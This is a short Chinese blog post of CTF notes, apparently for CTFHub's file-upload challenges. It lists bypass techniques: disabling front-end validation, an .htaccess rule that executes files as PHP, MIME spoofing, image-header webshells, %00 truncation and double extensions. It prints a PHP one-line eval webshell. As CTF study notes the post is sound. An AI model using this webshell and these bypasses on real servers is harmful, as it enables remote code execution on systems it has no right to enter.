CTF--文件上传

1.无验证

upload/1.php

 

 

2.前端验证

火狐浏览器—about:config 

—关掉JavaScript

 

 

3..htaccess

htaccess是超文本访问(Hypertext Access)的缩写,是一个基于Apache的Web服务器使用的配置文件,用于控制它所在的目录以及该目录下的所有子目录。

 

 

 

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

 

 

 修改

<?php @eval($_POST['123']);?>

 

 

 

4.MIME绕过

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

 

burp截取上传数据包,修改 Content- - Type,然后 forward上传

image/jpeg

 

5.文件头检查

  • 文件头检测:想到png,gif等文件在文件的头部都不同,能根据头部确定这是什么类型的文件

 

那么我们上传一张图片,然后使用bp拦截,并在空白处添加一句话木马(图片马)

 

把文件改为php,同时修改Content-type为image/jpg

 

 6.00截断

 

上传一个名为1.php%00.jpg的文件

burp suite进行抓包

 

 

 

 http://challenge-117a990e7168471b.sandbox.ctfhub.com:10800/upload/1.php

 

7.双写后缀

 

burp抓包

 

posted @ 2022-04-08 17:02  TinKode  阅读(556)  评论(0)    收藏  举报